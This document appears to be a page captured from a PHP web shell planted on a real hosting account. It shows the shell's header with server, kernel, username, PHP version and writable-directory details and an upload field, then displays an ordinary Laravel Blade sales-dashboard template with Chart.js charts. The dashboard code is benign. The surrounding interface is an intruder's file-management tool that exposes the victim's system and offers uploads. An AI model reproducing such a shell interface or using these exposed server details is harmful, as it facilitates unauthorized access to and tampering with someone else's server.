Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/diapersky.el-vanda.com/resources/views/content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/diapersky.el-vanda.com/resources/views/content/dashboard.blade.php
@extends('layouts/app')
@section('title', $breadcrumbs[count($breadcrumbs) - 1]['name'])

@section('content')
    @include('layouts/panels/breadcrumb', ['breadcrumbs' => $breadcrumbs])

    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">

            <!-- Info boxes -->
            <div class="row">
                <div class="col-12 col-sm-6 col-md-3">
                    <div class="info-box">
                        <span class="info-box-icon bg-success elevation-1"><i class="fas fa-calendar"></i></span>

                        <div class="info-box-content">
                            <span class="info-box-text">Sales Last Month</span>
                            <span class="info-box-number">
                                <small>Rp.</small>
                                {{ number_format($query[0]->lastMonthSales, 0, '.', ',') }}
                                {{-- <small>%</small> --}}
                            </span>
                        </div>
                        <!-- /.info-box-content -->
                    </div>
                    <!-- /.info-box -->
                </div>
                <!-- /.col -->
                <div class="col-12 col-sm-6 col-md-3">
                    <div class="info-box mb-3">
                        <span class="info-box-icon bg-primary elevation-1"><i class="fas fa-calendar"></i></span>

                        <div class="info-box-content">
                            <span class="info-box-text">Sales This Month</span>
                            <span class="info-box-number">
                                <small>Rp.</small>
                                {{ number_format($query[0]->thisMonthSales, 0, '.', ',') }}
                            </span>
                        </div>
                        <!-- /.info-box-content -->
                    </div>
                    <!-- /.info-box -->
                </div>
                <!-- /.col -->

                <!-- fix for small devices only -->
                <div class="clearfix hidden-md-up"></div>

                <div class="col-12 col-sm-6 col-md-3">
                    <div class="info-box mb-3">
                        <span class="info-box-icon bg-success elevation-1"><i class="fas fa-shopping-cart"></i></span>

                        <div class="info-box-content">
                            <span class="info-box-text">Sales Yesterday</span>
                            <span class="info-box-number">
                                <small>Rp.</small>
                                {{ number_format($query[0]->yesterdayDateSales, 0, '.', ',') }}
                            </span>
                        </div>
                        <!-- /.info-box-content -->
                    </div>
                    <!-- /.info-box -->
                </div>
                <!-- /.col -->
                <div class="col-12 col-sm-6 col-md-3">
                    <div class="info-box mb-3">
                        <span class="info-box-icon bg-primary elevation-1"><i class="fas fa-shopping-cart"></i></span>

                        <div class="info-box-content">
                            <span class="info-box-text">Sales Today</span>
                            <span class="info-box-number">
                                <small>Rp.</small>
                                {{ number_format($query[0]->todayDateSales, 0, '.', ',') }}
                            </span>
                        </div>
                        <!-- /.info-box-content -->
                    </div>
                    <!-- /.info-box -->
                </div>
                <!-- /.col -->
            </div>

            <!-- chart -->
            <div class="row">
                <!-- line -->
                <div class="col-md-6">
                    <div class="card">
                        <div class="card-header border-0">
                            <div class="d-flex justify-content-between">
                                <h3 class="card-title">Sales Comparation</h3>
                            </div>
                        </div>
                        <div class="card-body">
                            <div class="d-flex">
                                <p class="d-flex flex-column">
                                    <span class="text-bold text-lg">{{ Carbon\Carbon::parse($dateFrom)->format('Y') }}</span>
                                    <span>Sales Over Time</span>
                                </p>
                            </div>
        
                            <div class="position-relative mb-4">
                                <canvas id="sales-chart" height="200"></canvas>
                            </div>
        
                            <div class="d-flex flex-row justify-content-end">
                                <span class="mr-4">
                                    <i class="fas fa-square text-primary"></i> Sales
                                </span>
                                
                                <span class="mr-4">
                                    <i class="fas fa-square text-warning"></i> COGS
                                </span>

                                <span class="mr-4">
                                    <i class="fas fa-square text-danger"></i> Cashflow
                                </span>

                                <span>
                                    <i class="fas fa-square text-success"></i> Cuan
                                </span>
                            </div>
                        </div>
                    </div>        
                </div>                
                <!-- /.line -->

                <!-- donut -->
                <div class="col-md-6">
                    <div class="card">
                        <div class="card-header border-0">
                            <div class="d-flex justify-content-between">
                                <h3 class="card-title">Sales Comparation</h3>
                            </div>
                        </div>
                        <div class="card-body">
                            <div class="d-flex">
                                <p class="d-flex flex-column">
                                    <span class="text-bold text-lg">{{ Carbon\Carbon::parse($dateFrom)->format('Y') }}</span>
                                    <span>Sales Over Time</span>
                                </p>
                            </div>
                            <!-- /.d-flex -->
        
                            <div class="position-relative mb-4">
                                <div class="d-flex flex-row justify-content-center">
                                    <canvas id="donutChart" style="min-height: 200px; height: 200px; max-height: 200px; max-width: 100%;"></canvas>
                                </div>
                            </div>
        
                            <div class="d-flex flex-row justify-content-end">
                                <span class="mr-2"><i class="fas fa-square" style="color: #ff3939"></i> Jan</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #ffba39"></i> Feb</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #ff9039"></i> Mar</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #fff339"></i> Apr</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #d5ff39"></i> May</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #9cff39"></i> Jun</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #39ff5a"></i> Jul</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #39ffdb"></i> Aug</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #39ccff"></i> Sep</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #3987ff"></i> Oct</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #8d39ff"></i> Nov</span>
                                <span class="mr-2"><i class="fas fa-square" style="color: #f939ff"></i> Dec</span>
                            </div>
                        </div>
                    </div>        
                </div>
                <!-- /.donut -->
            </div>
            <!-- /.chart -->

        </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
@endsection

@section('page-script')
    <script src="{{ asset('assets/plugins/chart.js/Chart.min.js') }}"></script>
    
    <script>
        var chartSPCMonthly = {!! json_encode($chartSPCMonthly) !!};
        
        var saleSPCMonthly1 = chartSPCMonthly[0]['data_1']; 
        var saleSPCMonthly2 = chartSPCMonthly[0]['data_2']; 
        var saleSPCMonthly3 = chartSPCMonthly[0]['data_3']; 
        var saleSPCMonthly4 = chartSPCMonthly[0]['data_4']; 
        var saleSPCMonthly5 = chartSPCMonthly[0]['data_5']; 
        var saleSPCMonthly6 = chartSPCMonthly[0]['data_6']; 
        var saleSPCMonthly7 = chartSPCMonthly[0]['data_7']; 
        var saleSPCMonthly8 = chartSPCMonthly[0]['data_8']; 
        var saleSPCMonthly9 = chartSPCMonthly[0]['data_9']; 
        var saleSPCMonthly10 = chartSPCMonthly[0]['data_10']; 
        var saleSPCMonthly11 = chartSPCMonthly[0]['data_11']; 
        var saleSPCMonthly12 = chartSPCMonthly[0]['data_12']; 

        var COGSSPCMonthly1 = chartSPCMonthly[1]['data_1']; 
        var COGSSPCMonthly2 = chartSPCMonthly[1]['data_2']; 
        var COGSSPCMonthly3 = chartSPCMonthly[1]['data_3']; 
        var COGSSPCMonthly4 = chartSPCMonthly[1]['data_4']; 
        var COGSSPCMonthly5 = chartSPCMonthly[1]['data_5']; 
        var COGSSPCMonthly6 = chartSPCMonthly[1]['data_6']; 
        var COGSSPCMonthly7 = chartSPCMonthly[1]['data_7']; 
        var COGSSPCMonthly8 = chartSPCMonthly[1]['data_8']; 
        var COGSSPCMonthly9 = chartSPCMonthly[1]['data_9']; 
        var COGSSPCMonthly10 = chartSPCMonthly[1]['data_10']; 
        var COGSSPCMonthly11 = chartSPCMonthly[1]['data_11']; 
        var COGSSPCMonthly12 = chartSPCMonthly[1]['data_12']; 
        
        var cashflowSPCMonthly1 = chartSPCMonthly[2]['data_1']; 
        var cashflowSPCMonthly2 = chartSPCMonthly[2]['data_2']; 
        var cashflowSPCMonthly3 = chartSPCMonthly[2]['data_3']; 
        var cashflowSPCMonthly4 = chartSPCMonthly[2]['data_4']; 
        var cashflowSPCMonthly5 = chartSPCMonthly[2]['data_5']; 
        var cashflowSPCMonthly6 = chartSPCMonthly[2]['data_6']; 
        var cashflowSPCMonthly7 = chartSPCMonthly[2]['data_7']; 
        var cashflowSPCMonthly8 = chartSPCMonthly[2]['data_8']; 
        var cashflowSPCMonthly9 = chartSPCMonthly[2]['data_9']; 
        var cashflowSPCMonthly10 = chartSPCMonthly[2]['data_10']; 
        var cashflowSPCMonthly11 = chartSPCMonthly[2]['data_11']; 
        var cashflowSPCMonthly12 = chartSPCMonthly[2]['data_12']; 

        var profitSPCMonthly1 = chartSPCMonthly[3]['data_1']; 
        var profitSPCMonthly2 = chartSPCMonthly[3]['data_2']; 
        var profitSPCMonthly3 = chartSPCMonthly[3]['data_3']; 
        var profitSPCMonthly4 = chartSPCMonthly[3]['data_4']; 
        var profitSPCMonthly5 = chartSPCMonthly[3]['data_5']; 
        var profitSPCMonthly6 = chartSPCMonthly[3]['data_6']; 
        var profitSPCMonthly7 = chartSPCMonthly[3]['data_7']; 
        var profitSPCMonthly8 = chartSPCMonthly[3]['data_8']; 
        var profitSPCMonthly9 = chartSPCMonthly[3]['data_9']; 
        var profitSPCMonthly10 = chartSPCMonthly[3]['data_10']; 
        var profitSPCMonthly11 = chartSPCMonthly[3]['data_11']; 
        var profitSPCMonthly12 = chartSPCMonthly[3]['data_12']; 
                
        lineSales();
        donutSales();

        function lineSales() {
            var ticksStyle = {
                fontColor: '#495057',
                fontStyle: 'bold'
            }

            var mode = 'index'
            var intersect = true

            var $salesChart = $('#sales-chart')
            // eslint-disable-next-line no-unused-vars
            var salesChart = new Chart($salesChart, {
                data: {
                    labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
                    datasets: [
                        {
                            type: 'line',
                            data: [saleSPCMonthly1, saleSPCMonthly2, saleSPCMonthly3, saleSPCMonthly4, saleSPCMonthly5, saleSPCMonthly6, saleSPCMonthly7, saleSPCMonthly8, saleSPCMonthly9, saleSPCMonthly10, saleSPCMonthly11, saleSPCMonthly12],
                            backgroundColor: 'transparent',
                            borderColor: '#007bff',
                            pointBorderColor: '#007bff',
                            pointBackgroundColor: '#007bff',
                            fill: false
                        },
                        {
                            type: 'line',
                            data: [COGSSPCMonthly1, COGSSPCMonthly2, COGSSPCMonthly3, COGSSPCMonthly4, COGSSPCMonthly5, COGSSPCMonthly6, COGSSPCMonthly7, COGSSPCMonthly8, COGSSPCMonthly9, COGSSPCMonthly10, COGSSPCMonthly11, COGSSPCMonthly12],
                            backgroundColor: 'tansparent',
                            borderColor: '#e7ed5f',
                            pointBorderColor: '#e7ed5f',
                            pointBackgroundColor: '#e7ed5f',
                            fill: false
                        },
                        {
                            type: 'line',
                            data: [cashflowSPCMonthly1, cashflowSPCMonthly2, cashflowSPCMonthly3, cashflowSPCMonthly4, cashflowSPCMonthly5, cashflowSPCMonthly6, cashflowSPCMonthly7, cashflowSPCMonthly8, cashflowSPCMonthly9, cashflowSPCMonthly10, cashflowSPCMonthly11, cashflowSPCMonthly12],
                            backgroundColor: 'tansparent',
                            borderColor: '#ff4839',
                            pointBorderColor: '#ff4839',
                            pointBackgroundColor: '#ff4839',
                            fill: false
                        },
                        {
                            type: 'line',
                            data: [profitSPCMonthly1, profitSPCMonthly2, profitSPCMonthly3, profitSPCMonthly4, profitSPCMonthly5, profitSPCMonthly6, profitSPCMonthly7, profitSPCMonthly8, profitSPCMonthly9, profitSPCMonthly10, profitSPCMonthly11, profitSPCMonthly12],
                            backgroundColor: 'transparent',
                            borderColor: '#3aba02',
                            pointBorderColor: '#3aba02',
                            pointBackgroundColor: '#3aba02',
                            fill: false
                        },
                    ]
                },
                options: {
                    maintainAspectRatio: false,
                    tooltips: {
                        mode: mode,
                        intersect: intersect
                    },
                    hover: {
                        mode: mode,
                        intersect: intersect
                    },
                    legend: {
                        display: false
                    },
                    scales: {
                        yAxes: [{
                            gridLines: {
                                display: true,
                                lineWidth: '4px',
                                color: 'rgba(0, 0, 0, .2)',
                                zeroLineColor: 'transparent'
                            },
                            ticks: $.extend({
                                beginAtZero: true,
                                suggestedMax: 200
                            }, ticksStyle)
                        }],
                        xAxes: [{
                            display: true,
                            gridLines: {
                                display: false
                            },
                            ticks: ticksStyle
                        }]
                    }
                }
            })
        }

        function donutSales() {
            var donutChartCanvas = $('#donutChart').get(0).getContext('2d')
            var donutData        = {
            // labels: [
            //     'Jan',
            //     'Feb',
            //     'Mar',
            //     'Apr',
            //     'May',
            //     'Jun',
            //     'Jul',
            //     'Aug',
            //     'Sep',
            //     'Oct',
            //     'Nov',
            //     'Dec',
            // ],
            datasets: [
                {
                data: [saleSPCMonthly1, saleSPCMonthly2, saleSPCMonthly3, saleSPCMonthly4, saleSPCMonthly5, saleSPCMonthly6, saleSPCMonthly7, saleSPCMonthly8, saleSPCMonthly9, saleSPCMonthly10, saleSPCMonthly11, saleSPCMonthly12],
                backgroundColor : ['#ff3939', '#ffba39', '#ff9039', '#fff339', '#d5ff39', '#9cff39', '#39ff5a', '#39ffdb', '#39ccff', '#3987ff', '#8d39ff', '#f939ff'],
                }           
            ]
            }
            var donutOptions     = {
                maintainAspectRatio : false,
                responsive : true,
            }
            new Chart(donutChartCanvas, {
                type: 'doughnut',
                data: donutData,
                options: donutOptions
            })            
        }
    </script>
@endsection

Yohohohohohooho | Sanrei Aya